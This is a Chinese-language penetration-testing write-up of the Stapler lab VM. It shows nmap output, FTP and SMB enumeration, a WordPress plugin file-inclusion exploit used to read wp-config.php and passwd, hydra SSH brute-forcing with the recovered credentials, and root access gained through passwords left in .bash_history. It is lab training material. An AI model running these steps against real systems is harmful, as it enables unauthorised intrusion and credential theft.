信息搜集
端口开放扫描
nmap检测端口开放情况发现开放的端口比较多,按照熟悉程度我会先看80端口,在红队的渗透中我们需要强调隐蔽性,如果需要nmap扫描就可以扫描常见端口,不必像我们这次一样进行全方位扫描。
cat ../Nmap_result/Stapler_port|grep open|awk -F '/' '{print $1}'|tr '\n' ' '
端口服务扫描
nmap -A 192.168.56.101 -n -p 20,21,22,53,80,123,137,138,139,666,3306,12380 -oN Nmap_result/Staper_all
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.56.3
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8121cea11a05b1694f4ded8028e89905 (RSA)
| 256 5ba5bb67911a51c2d321dac0caf0db9e (ECDSA)
|_ 256 6d01b773acb0936ffab989e6ae3cabd3 (ED25519)
53/tcp open domain dnsmasq 2.75
| dns-nsid:
|_ bind.version: dnsmasq-2.75
80/tcp open http PHP cli server 5.5 or later
|_http-title: 404 Not Found
123/tcp closed ntp
137/tcp closed netbios-ns
138/tcp closed netbios-dgm
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp open doom?
| fingerprint-strings:
| NULL:
| message2.jpgUT
| QWux
| "DL[E
| #;3[
| \xf6
| u([r
| qYQq
| Y_?n2
| 3&M~{
| 9-a)T
| L}AJ
|_ .npy.9
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
| mysql-info:
| Protocol: 10
| Version: 5.7.12-0ubuntu1
| Thread ID: 7
| Capabilities flags: 63487
| Some Capabilities: SupportsLoadDataLocal, Speaks41ProtocolOld, SupportsTransactions, Support41Auth, InteractiveClient, ConnectWithDatabase, SupportsCompression, FoundRows, LongPassword, LongColumnFlag, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, ODBCClient, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
| Status: Autocommit
| Salt: BogNJy>!d\x14\x16W,D\x1CG\x1C\x07Mf
|_ Auth Plugin Name: mysql_native_password
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Tim, we need to-do better next year for Initech
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port666-TCP:V=7.93%I=7%D=2/28%Time=65DECA7C%P=x86_64-pc-linux-gnu%r(NUL
SF:L,10F8,"PK\x03\x04\x14\0\x02\0\x08\0d\x80\xc3Hp\xdf\x15\x81\xaa,\0\0\x1
SF:52\0\0\x0c\0\x1c\0message2\.jpgUT\t\0\x03\+\x9cQWJ\x9cQWux\x0b\0\x01\x0
SF:4\xf5\x01\0\0\x04\x14\0\0\0\xadz\x0bT\x13\xe7\xbe\xefP\x94\x88\x88A@\xa
SF:2\x20\x19\xabUT\xc4T\x11\xa9\x102>\x8a\xd4RDK\x15\x85Jj\xa9\"DL\[E\xa2\
SF:x0c\x19\x140<\xc4\xb4\xb5\xca\xaen\x89\x8a\x8aV\x11\x91W\xc5H\x20\x0f\x
SF:b2\xf7\xb6\x88\n\x82@%\x99d\xb7\xc8#;3\[\r_\xcddr\x87\xbd\xcf9\xf7\xaeu
SF:\xeeY\xeb\xdc\xb3oX\xacY\xf92\xf3e\xfe\xdf\xff\xff\xff=2\x9f\xf3\x99\xd
SF:3\x08y}\xb8a\xe3\x06\xc8\xc5\x05\x82>`\xfe\x20\xa7\x05:\xb4y\xaf\xf8\xa
SF:0\xf8\xc0\^\xf1\x97sC\x97\xbd\x0b\xbd\xb7nc\xdc\xa4I\xd0\xc4\+j\xce\[\x
SF:87\xa0\xe5\x1b\xf7\xcc=,\xce\x9a\xbb\xeb\xeb\xdds\xbf\xde\xbd\xeb\x8b\x
SF:f4\xfdis\x0f\xeeM\?\xb0\xf4\x1f\xa3\xcceY\xfb\xbe\x98\x9b\xb6\xfb\xe0\x
SF:dc\]sS\xc5bQ\xfa\xee\xb7\xe7\xbc\x05AoA\x93\xfe9\xd3\x82\x7f\xcc\xe4\xd
SF:5\x1dx\xa2O\x0e\xdd\x994\x9c\xe7\xfe\x871\xb0N\xea\x1c\x80\xd63w\xf1\xa
SF:f\xbd&&q\xf9\x97'i\x85fL\x81\xe2\\\xf6\xb9\xba\xcc\x80\xde\x9a\xe1\xe2:
SF:\xc3\xc5\xa9\x85`\x08r\x99\xfc\xcf\x13\xa0\x7f{\xb9\xbc\xe5:i\xb2\x1bk\
SF:x8a\xfbT\x0f\xe6\x84\x06/\xe8-\x17W\xd7\xb7&\xb9N\x9e<\xb1\\\.\xb9\xcc\
SF:xe7\xd0\xa4\x19\x93\xbd\xdf\^\xbe\xd6\xcdg\xcb\.\xd6\xbc\xaf\|W\x1c\xfd
SF:\xf6\xe2\x94\xf9\xebj\xdbf~\xfc\x98x'\xf4\xf3\xaf\x8f\xb9O\xf5\xe3\xcc\
SF:x9a\xed\xbf`a\xd0\xa2\xc5KV\x86\xad\n\x7fou\xc4\xfa\xf7\xa37\xc4\|\xb0\
SF:xf1\xc3\x84O\xb6nK\xdc\xbe#\)\xf5\x8b\xdd{\xd2\xf6\xa6g\x1c8\x98u\(\[r\
SF:xf8H~A\xe1qYQq\xc9w\xa7\xbe\?}\xa6\xfc\x0f\?\x9c\xbdTy\xf9\xca\xd5\xaak
SF:\xd7\x7f\xbcSW\xdf\xd0\xd8\xf4\xd3\xddf\xb5F\xabk\xd7\xff\xe9\xcf\x7fy\
SF:xd2\xd5\xfd\xb4\xa7\xf7Y_\?n2\xff\xf5\xd7\xdf\x86\^\x0c\x8f\x90\x7f\x7f
SF:\xf9\xea\xb5m\x1c\xfc\xfef\"\.\x17\xc8\xf5\?B\xff\xbf\xc6\xc5,\x82\xcb\
SF:[\x93&\xb9NbM\xc4\xe5\xf2V\xf6\xc4\t3&M~{\xb9\x9b\xf7\xda-\xac\]_\xf9\x
SF:cc\[qt\x8a\xef\xbao/\xd6\xb6\xb9\xcf\x0f\xfd\x98\x98\xf9\xf9\xd7\x8f\xa
SF:7\xfa\xbd\xb3\x12_@N\x84\xf6\x8f\xc8\xfe{\x81\x1d\xfb\x1fE\xf6\x1f\x81\
SF:xfd\xef\xb8\xfa\xa1i\xae\.L\xf2\\g@\x08D\xbb\xbfp\xb5\xd4\xf4Ym\x0bI\x9
SF:6\x1e\xcb\x879-a\)T\x02\xc8\$\x14k\x08\xae\xfcZ\x90\xe6E\xcb<C\xcap\x8f
SF:\xd0\x8f\x9fu\x01\x8dvT\xf0'\x9b\xe4ST%\x9f5\x95\xab\rSWb\xecN\xfb&\xf4
SF:\xed\xe3v\x13O\xb73A#\xf0,\xd5\xc2\^\xe8\xfc\xc0\xa7\xaf\xab4\xcfC\xcd\
SF:x88\x8e}\xac\x15\xf6~\xc4R\x8e`wT\x96\xa8KT\x1cam\xdb\x99f\xfb\n\xbc\xb
SF:cL}AJ\xe5H\x912\x88\(O\0k\xc9\xa9\x1a\x93\xb8\x84\x8fdN\xbf\x17\xf5\xf0
SF:\.npy\.9\x04\xcf\x14\x1d\x89Rr9\xe4\xd2\xae\x91#\xfbOg\xed\xf6\x15\x04\
SF:xf6~\xf1\]V\xdcBGu\xeb\xaa=\x8e\xef\xa4HU\x1e\x8f\x9f\x9bI\xf4\xb6GTQ\x
SF:f3\xe9\xe5\x8e\x0b\x14L\xb2\xda\x92\x12\xf3\x95\xa2\x1c\xb3\x13\*P\x11\
SF:?\xfb\xf3\xda\xcaDfv\x89`\xa9\xe4k\xc4S\x0e\xd6P0");
MAC Address: 08:00:27:29:A0:AA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
| Computer name: red
| NetBIOS computer name: RED\x00
| Domain name: \x00
| FQDN: red
|_ System time: 2024-02-28T13:54:16+00:00
|_clock-skew: mean: 7h59m58s, deviation: 1s, median: 7h59m57s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-02-28T13:54:15
|_ start_date: N/A
TRACEROUTE
HOP RTT ADDRESS
1 0.65 ms 192.168.56.101
这里可以看到ftp是有匿名访问的,139是smb服务可以进行枚举一下,666端口有数据发出应该是图片数据,有3306数据库,和12380也是http服务,80端口是用php命令行的方式起的服务器,这和我们用python起服务器一样。
漏洞探测
21端口 FTP服务 Anonymous登录
存在Anonymous登录,这里看到有一个note文件。
将文件下载下来有这样的一句话,Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
这里暴露了两个账号Elly和John记录下来,也许后面有用。
尝试上传失败
在ftp界面将我们的文件put一下,看能否上传发现上传失败,没有权限。
53端口 dnsmasq
没有找到可以利用的漏洞
80端口 php cli服务器
存在文件泄露问题。
[06:10:47] Starting:
[06:10:47] 200 - 4KB - /.bashrc
[06:10:47] 200 - 220B - /.bash_logout
[06:10:49] 200 - 675B - /.profile
Linux文件 profile、bashrc、bash_profile区别
Linux| 用户目录下三个bash文件的作用(.bash_history,.bash_logout,.bash_profile,.bashrc)_inurl:.bash_history-CSDN博客
扫描到了如下文件,服务器看来是在用户根目录起的。
关于.bashrc
不同目录下的 .bashrc 文件其作用不尽相同,比如:
/etc/skel/.bashrc #文件将复制到系统上创建的任何新用户的主文件夹中
/home/mmoriarty/.bashrc #是bash的配置文件,保存个人的一些个性化设置,如命令别名、路径等
139端口smb服务
enum4linux 192.168.56.101
cat smb |awk -F '\' '{print $2}'|awk -F ' ' '{print $1}'>>Account
将枚举出来的账号加入我们的记录的字典中。
666端口 nc将信息存储在本地
nc 192.168.56.101 666 >> 666
file 666
mv 666 666.zip
unzip 666.zip
ll -a #查看是否解压了以点为开头的隐藏文件。
display message2.jpg
用strings查看该图片信息发现了如下的东西
12380端口 https服务
这里直接用http服务访问发现是400,要用https协议进行访问。
这里换个目录扫描工具进行扫描。
dirb https://192.168.56.101:12380/ /usr/share/wordlists/dirb/big.txt
phpmyadmin
扫描出来最主要的就是phpmyadmin和robots.txt文件夹下面的东西了,
phpmyadmin发现root只能本地进行登录。
robots.txt目录
robots.txt发现两个目录。
/blogblog/目录 wordpress
发现一个博客网站,感觉在这个目录下dirsearch一下,顺便whatweb扫描一下指纹。
wordpress,可以使用wpscan扫描利用。
/wp-content/这个目录下面会有wp下载的插件主题等信息。
WordPress Advanced-viedeo LIF漏洞利用
可以searsploit来查看这些插件是否有可利用的漏洞。
存在远程文件包含,这里用这个提供的py文件无法使用,可以vim 看一下py脚本是怎么写的
用poc进行文件包含后,会在wp-content/uploads目录下面生成图片文件,这里我点开图片发现图片打不开,bp下载到本地strings查看发现是文本文件而不是图片
strings xxx.jpeg
用这个漏洞包含wp-config.php文件成功发现数据库的账号和密码,一般来说有许多人设置的密码可以通用登录许多服务,这里我们可以吧这个密码放到字典中爆破ssh
用同样的方法获取到Stapler这个靶机的passwd文件筛选出有shell的用户,加入我们的爆破账号字典中。
cat StaperPasswd | grep bash |awk -F ':' '{print $1}' >>Account
Get User shell
hydra 192.168.56.101 ssh -L Account -P Password
[22][ssh] host: 192.168.56.101 login: zoe password: plbkac
上传suidcheck
zoe@red:~$ ./suidcheck.sh
suidcheck By Jewel591
https://github.com/Jewel591
------------------------------
Searching for executables file with s privileges
/usr/bin/newuidmap
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/newgidmap
/usr/bin/at
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/ubuntu-core-launcher
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/i386-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/authbind/helper
/bin/mount
/bin/umount
/bin/ping
/bin/fusermount
/bin/ping6
/bin/su
The results of the analysis are as follows:
--------------------------------------------------------------------------
SUID File | Visit the link to see how to use it
----------------------------------- | ------------------------------------
没有可以利用的suid文件,
Get Root Shell
mysql udf提权尝试失败
Red-vs-Blue/linux环境下的MySQL UDF提权.md at master · SEC-GO/Red-vs-Blue
好像不能写入文件,没有权限也没有对应的库。
查看.bash_history文件提权成功
.bash_history文件
保存我们上一次登录期间在linux里输入的命令,退出的时候,会自动保存到该文件。创建一个新用户,然后敲一些命令,这些命令会存在内存中,退出该用户,就会把这些命令写到.bash_history
(这个文件为该用户的家目录下边的隐藏文件)里边去
cat /home/*/.bash_history
发现peter的密码,登录peter这个用户,发现有sudo权限,直接sudo su root提权。
总结
这次的靶机端口开放比较多,一开始比较蒙,我们可以根据熟悉程度对端口进行探测,这次对于Linux的一些隐藏文件了解了一些,如.bash_history .bashrc .bash_logout 等文件,我们在渗透测试的流程中一定要多将有用的信息进行记录,方法不唯一,还可以用数据库登陆,获取到wp用户密码进行破解登陆wp后台上传shell,wpscan对我们之前获取到的用户进行爆破等方法进入后台操作。